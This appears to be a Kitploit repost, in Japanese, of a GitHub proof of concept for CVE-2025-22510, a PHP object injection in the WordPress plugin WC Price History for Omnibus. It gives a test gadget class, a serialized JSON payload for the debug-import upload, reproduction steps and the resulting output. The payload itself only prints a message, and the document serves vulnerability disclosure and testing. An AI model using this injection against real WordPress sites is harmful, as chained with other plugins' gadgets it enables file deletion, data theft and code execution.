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CVE-2025-22510 — PoC of CVE-2025-22510 | Kitploit
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GitHubdottak/cve-2025-22510

CVE-2025-22510

PoC of CVE-2025-22510

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CVE-2025-22510

1️⃣ コンポーネントタイプ

WordPress プラグイン

2️⃣ コンポーネント詳細

コンポーネント名 WC Price History for Omnibus

影響を受けるバージョン <= 2.1.4

コンポーネントスラッグ wc-price-history

コンポーネントリンク https://wordpress.org/plugins/wc-price-history/

3️⃣ OWASP 2017: TOP 10

脆弱性クラス A3: Injection

脆弱性タイプ PHP オブジェクトインジェクション

4️⃣ 前提条件

ショップマネージャー(Administrator 以上)

5️⃣ 脆弱性の詳細

👉 概要

WC Price History for Omnibus プラグインバージョン 2.1.4 以下では、WooCommerce ダッシュボードの 'Price History' メニュー(/wp-admin/admin.php?page=wc-price-history)の 'Import debug data' セクションから JSON ファイルをアップロードできます。アップロードされた JSON ファイルは wc_price_history_import_file ペイロードとして送信され、JSON データの 'serialized' キーの値に PHP オブジェクトインジェクションの脆弱性が発生します。この脆弱性により、Shop Manager 権限を持つ攻撃者は PHP オブジェクトを注入できます。

プラグイン自体には既知の POP チェーンはありませんが、対象の WordPress サイト上の他のプラグインやテーマに POP チェーンが存在する場合、攻撃者は任意のファイル削除、機密情報の窃取、コード実行を行う可能性があります。

👉 再現方法(PoC)

  1. WC Price History for Omnibus プラグインバージョン 2.1.4 以下がインストールされ、有効化されている WordPress サイトを準備します。

    このプラグインを有効化するには、事前に WooCommerce プラグインがインストールされ、有効化されている必要があります。

  2. PHP オブジェクトインジェクションの脆弱性をテストするには、次のクラス PoC_POP_Chain_Object を wp-config.php ファイルの末尾に追加します。

    root@kitploit:~
    class PoC_POP_Chain_Object {
    	
    	public $message = "";
    
    	public function __destruct() {
    		echo "<mark>Success PoP Chain</mark>";
    		echo "<br>";
    		echo "<mark>msg: ". $this->message ."</mark>";
    	}
    }
    

    image

  3. 次に、以下の JSON データを含むファイルを作成します。

    この JSON データでは、serialized キーに入力されたデータは PHP のシリアライズされたオブジェクト形式であり、先ほど wp-config.php ファイルに追加した PoC_POP_Chain_Object クラスのインスタンスを作成し、message プロパティに文字列 'Exploit !!' を代入します。

    root@kitploit:~
    {
        "serialized": "O:20:\"PoC_POP_Chain_Object\":1:{s:7:\"message\";s:10:\"Exploit !!\";}"
    }
    
  4. 次に、WooCommerce ダッシュボードの 'Price History' メニュー(/wp-admin/admin.php?page=wc-price-history)に移動します。'Import debug data' セクションで、ファイルアップロードフォームから先ほど作成した JSON ファイルを選択し、'Import' ボタンをクリックしてアップロードします。

👉 追加情報(任意)

[脆弱性の原因]

WooCommerce ダッシュボードの 'Price History' メニュー(/wp-admin/admin.php?page=wc-price-history)の 'Import debug data' セクションから JSON データをアップロードして 'Import' ボタンをクリックすると、

/wp-content/plugins/wc-price-history/app/PriorPrice/Import.php ファイルの Import クラスで定義されている import_file() 関数が実行されます。この関数は、JSON ファイルを含むリクエストペイロード wc_price_history_import_file を取得し、その JSON データからキー serialized のデータを取得して、maybe_unserialize 関数によるデシリアライズを実行します。

image

したがって、リクエストペイロード wc_price_history_import_file は JSON 形式であり、キー serialized のシリアライズされたデータを検証なしにデシリアライズする過程で、PHP オブジェクトインジェクションの脆弱性が発生します。

6️⃣ エクスプロイトデモ

video

7️⃣ 参照

  • https://nvd.nist.gov/vuln/detail/CVE-2025-22510
ツールをダウンロード

image

  • アップロードリクエストの結果、レスポンスデータ内で、wp-config.php に追加したクラス PoC_POP_Chain_Object のマジックメソッド __destruct() が実行され、次のメッセージが表示されることを確認できます。

    root@kitploit:~
    <mark>Success PoP Chain</mark>
    <br>
    <mark>msg: Exploit !!</mark>
    

    image